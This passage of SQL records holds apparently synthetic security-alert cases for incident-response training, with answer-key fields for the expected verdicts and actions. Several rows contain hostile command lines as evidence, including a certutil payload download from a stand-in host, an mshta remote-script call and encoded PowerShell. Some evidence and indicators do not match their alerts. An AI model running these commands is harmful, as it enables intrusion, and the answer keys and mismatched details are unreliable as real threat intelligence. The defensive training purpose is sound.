JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.948Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T05:47:35Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.110\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"workstation-jdoe\\\",\\\"command_line\\\":\\\"powershell.exe -enc JAB3AGgAbwBBAHAAIAAtAGMAbwBtAG0AYQBuAGQAIABpAGQAZQBuAHQAaQB0AHkA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1409, 'Detected SWIFT Network Attack Attempt', 'critical', 'FTK', 'Unauthorized login attempts detected on the SWIFT network indicating a potential breach attempt.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T02:22:11Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"swift_admin\",\"hostname\":\"swift-gateway\",\"failed_attempts\":35}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal IP, potential target of unauthorized access attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Multiple failed login attempts from a known malicious IP suggest a brute force attack targeting the SWIFT network.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:54:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:53:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:52:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-02T13:51:06.950Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T02:22:11Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"swift_admin\\\",\\\"hostname\\\":\\\"swift-gateway\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1410, 'Malicious LOLBin Activity Detected Using Certutil', 'high', 'Volatility', 'Certutil was used in a suspicious manner to download a potentially malicious file.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.20\",\"username\":\"malware_user\",\"hostname\":\"compromised-pc\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP executing suspicious command\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known malicious URL hosting malware payloads\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil used to download and execute malicious payload\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Certutil was used to download a known malicious payload, indicating potential compromise via LOLBin techniques.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.951Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:30:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"malware_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1411, 'Cozy Bear Phishing Campaign Detected', 'high', 'Proofpoint', 'A spear-phishing email with a malicious attachment was detected, resembling tactics used by Cozy Bear.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T11:12:48Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"10.0.1.100\",\"username\":\"jane.smith\",\"hostname\":\"email-server\",\"email_sender\":\"cozybear@example.com\",\"domain\":\"example.com\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"cozybear@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Email address linked to known phishing activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious attachment\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a malicious attachment and sender details consistent with Cozy Bear phishing tactics. Immediate action is required to prevent compromise.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Cozy Bear Phishing Campaign Detected\",\"date\":\"2026-03-02T13:55:06.952Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1412, 'APT29 Zero-Day Exploit Detected in SWIFT Environment', 'critical', 'Splunk', 'Anomalies indicating a zero-day exploit were detected in the SWIFT transaction servers, likely linked to APT29.', 'Zero-Day', 'T1214', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:05:37Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"192.168.3.10\",\"username\":\"swift_operator\",\"hostname\":\"swift-server01\",\"domain\":\"finance.local\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP potentially compromised via zero-day exploit\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"finance.local\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal domain for SWIFT operations\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"zero_day_exploit\",\"analysis_notes\":\"The network activity suggests exploitation using a zero-day vulnerability, consistent with APT29 tactics. Immediate containment is necessary.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.953Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:05:37Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"swift_operator\\\",\\\"hostname\\\":\\\"swift-server01\\\",\\\"domain\\\":\\\"finance.local\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1413, 'Data Exfiltration Using Legitimate Cloud Services', 'critical', 'CrowdStrike', 'Data exfiltration to a GitHub repository detected, using legitimate cloud services to evade detection.', 'Data Exfil', 'T1567', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T06:55:18Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.75\",\"dst_ip\":\"140.82.113.3\",\"username\":\"data_analyst\",\"hostname\":\"data-server\",\"domain\":\"github.com\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP transmitting data externally\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"github.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"GitHub used for data exfiltration in past cases\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Using GitHub for data exfiltration is a tactic to fly under the radar by leveraging legitimate services. Immediate investigation is required.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1414, 'APT28 Supply Chain Attack Detected', 'critical', 'Wazuh', 'Indicators of a supply chain attack were found, potentially impacting financial software updates.', 'Supply Chain', 'T1195', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T07:42:27Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.55\",\"username\":\"software_update\",\"hostname\":\"update-server\",\"command_line\":\"mshta.exe http://malicious-updates.com/update.hta\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server executing malicious update script\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-updates.com/update.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious HTA file used in supply chain attacks\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"mshta.exe http://malicious-updates.com/update.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"mshta used to execute malicious HTML application\"}}],\"expected_actions\":[\"block_url\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"supply_chain\",\"analysis_notes\":\"The use of mshta to execute a malicious script from a known bad URL indicates a supply chain attack, likely impacting software integrity.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.957Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T07:42:27Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.55\\\",\\\"username\\\":\\\"software_update\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"command_line\\\":\\\"mshta.exe http://malicious-updates.com/update.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1415, 'Lazarus Group Trading Fraud Detected', 'critical', 'Firewall', 'Anomalous trading activities detected, consistent with known Lazarus Group financial fraud operations.', 'Trading Fraud', 'T1210', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:25:14Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.6.30\",\"dst_ip\":\"172.16.0.10\",\"username\":\"trader.bob\",\"hostname\":\"trade-station01\",\"domain\":\"stock.exchange.local\"}', '2026-03-02 03:13:33', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.6.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in suspicious trading activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"stock.exchange.local\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal domain for trading operations\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"fraud\",\"analysis_notes\":\"The detected anomalies match patterns of Lazarus Group\'s known financial fraud activities. Immediate investigation and containment required.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1416, 'APT41 Spear-Phishing Attack with Encoded PowerShell Command', 'critical', 'Proofpoint', 'A spear-phishing email targeting the HR department was detected. The email contained a macro-enabled Excel document with an encoded PowerShell command leading to a C2 domain.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:15:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.1.2.45\",\"username\":\"j.doe@financecorp.com\",\"hostname\":\"HR-Desktop-07\",\"email_sender\":\"hr-support@external.com\",\"command_line\":\"powershell.exe -enc W3Bhc3N3b3JkID0gJ1Bhc3N3b3JkMTIzJyA7IFtzeXN0ZW0uTmV0LlNlcnZpY2VzLkRucENsaWVudF0uR2V0SG9zdEJ5TmFtZSgnY21kLmRvbWFpbi5jb20nKS5BZGRyZXNz\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"hr-support@external.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Domain associated with previous phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -enc 